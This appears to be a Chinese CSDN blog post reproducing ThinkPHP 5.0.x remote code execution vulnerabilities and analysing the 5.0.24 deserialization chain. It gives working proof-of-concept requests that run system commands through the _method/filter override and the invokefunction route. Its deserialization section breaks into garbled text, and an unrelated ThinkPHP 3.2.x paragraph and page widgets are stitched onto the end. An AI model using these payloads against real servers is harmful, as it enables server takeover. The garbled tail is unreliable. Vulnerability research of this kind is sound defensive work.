Thinkphp5.0.x_RCE复现&5.0.24反序列化大礼包

本文详细介绍了Thinkphp5.0.x框架中的两种远程代码执行(RCE)漏洞,包括Request类变量覆盖导致的RCE和路由控制不严谨引起的RCE。通过POC测试,展示了漏洞的复现过程,并重点分析了5.0.24版本的反序列化利用链,解释了如何通过魔术方法和模型类的漏洞实现代码执行。最后,给出了EXP及参考链接。
摘要由CSDN通过智能技术生成

环境部署

以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1

反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1

漏洞成因

现在TP的RCE通常将其分成两类:

  • Request类其中变量被覆盖导致RCE
  • 路由控制不严谨导致可以调用任意类致使RCE
  • 反序列化的应用(需要存在反序列化的地方)

Request类其中变量被覆盖导致RCE

我们以这个POC为例,进行复现:在这里插入图片描述

我们正常的代码逻辑已经简单的写在了前文,如有代码执行疑惑请在前文寻找答案。

下面我们进行漏洞跟踪梳理

  • App:run()进行启动,进行到URL路由检测self::routeCheck($request, $config)
    • $request->path()获取到我们自带的兼容模式参数s

    • 进入路由检测Route::check($request, $path, $depr, $config['url_domain_deploy'])

      • 关键代码$method = strtolower($request->method())进入$request->method()看到在查找$_POST中是否有表单请求类型伪装变量(简单解释一下这个,就是form表单的method只能进行GET和POST请求,如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理)
        • 一个PHP经典可变函数进行相关的调用$this->{$this->method}($_POST),根据POC我们就进入到了 __construct ,这个东西是PHP魔术方法,进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据,最后返回的是POST上去的method=get0在这里插入图片描述
    • 最终返回数据如下图所示并且赋值给$dispatch在这里插入图片描述

    • 进入关键代码$data = self::exec($dispatch, $config)

      • 然后再次进入到回调方法中的Request::instance()->param(),继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter),这个函数解释如下:在这里插入图片描述

      • 重要代码跟进,调用call_user_func($filter, $value)将其传入的$filter=system,$value=sysyteminfo在这里插入图片描述

      • 最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型

      • 现在再次回到call_user_func($filter, $value)因为最终你传入的是一个数组,第一个是需要执行的类型,后面是为null,因此会报错。

  • 最终进入到\thinkphp\library\think\exception\Handle.php的174行,$data['echo'] = ob_get_clean(),获取到前面未被赋值的命令执行的结果,从而随着报错页面一起发送给客户端从而达到回显的目的。

POC版本测试

需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他

5.0~5.0.23(本人只测了023的完整版,那么猜测中间的版本也是通杀没有问题)
POST http://localhost/tp/public/index.php?s=captcha?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

5.1.x低版本也可行请自行调试寻找

需要解释一些问题

这里简单提一下,我在复盘TP漏洞时看到先知社区一些疑问,已经在讨论区里发表了我的意见。这篇文章的讨论区,由于TP本身自带错误中断的机制,因此assert不会正常执行。

路由控制不严谨导致可以调用任意类致使RCE

我们以这个POC为例
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

正常代码逻辑已经梳理,请自行查看前文。
下面进行漏洞逻辑梳理

  • 进入路由$dispatch = self::routeCheck($request, $config),最终进入Route::parseUrl($path, $depr, $config['controller_auto_search']),通过分隔符替换从而将我们输入的pathinfo信息打散成数组: index|think\app|invokefunction,最终返回类似这样的数据
    在这里插入图片描述

  • 进入$data = self::exec($dispatch, $config);将前面获得的调度信息传进去

    • 进入$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
      • 一直跟踪到往下看,这句代码就是为什么我们要在pathinfo中首先要写 indexelseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))。这样能保证程序不报错中断并且使 $available=true
      • 分别将模块、控制器、操作将其赋值为我们所输入的 index think\app invokefunction
      • 进入Loader::controller进行控制类调用 Loader::getModuleAndClass 使得程序通过 invokeClass 返回我们所输入的类的实例
      • 进入到App::invokeMethod,反射出我们所输入的类的方法信息(ReflectionMethod),绑定我们输入的参数,进入$reflect->invokeArgs(isset($class) ? $class : null, $args)那么就可以调用我们所想调用的函数,参数也相应传入在这里插入图片描述
  • 最后跟前面那个漏洞一样,我们所执行的结果会随着报错输出缓冲区一起显示出来。

POC版本测试

因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找

5.0.x(具体自行测试)
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

5.1.x(具体自行测试,适合linux环境)
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.0.24反序列化利用链

先看看PHP的魔术方法
在这里插入图片描述

梳理反序列化利用链漏洞首先需要一个漏洞触发点,别问,问就是自己写:
在这里插入图片描述

我们发现在 thinkphp/library/think/process/pipes/Windows.php 中发现__destruct中存在removeFiles函数,并且在其中存在$this->filesfile_exists,那么我们通过可控的$this->files利用file_exists可以调用一些类的__toString方法,之后查看此方法在抽象类Model(thinkphp/library/think/Model.php),抽象类不能直接调用,因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用
在这里插入图片描述

然后从toJson()->toArray(),我们看到$item[$key] = $value ? $value->getAttr($attr) : null
其中 $value->getAttr是我们利用__call魔术方法 的点,我们来梳理代码逻辑使之可以顺利执行这句代码。
在这里插入图片描述

  • t h i s − > a p p e n d 可 以 控 制 , 将 其 变 成 M o d e l 类 的 g e t E r r o r 方 法 , 然 后 跟 进 看 到 此 方 法 存 在 this->append可以控制,将其变成Model类的getError方法,然后跟进看到此方法存在 this>appendM<

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE)漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值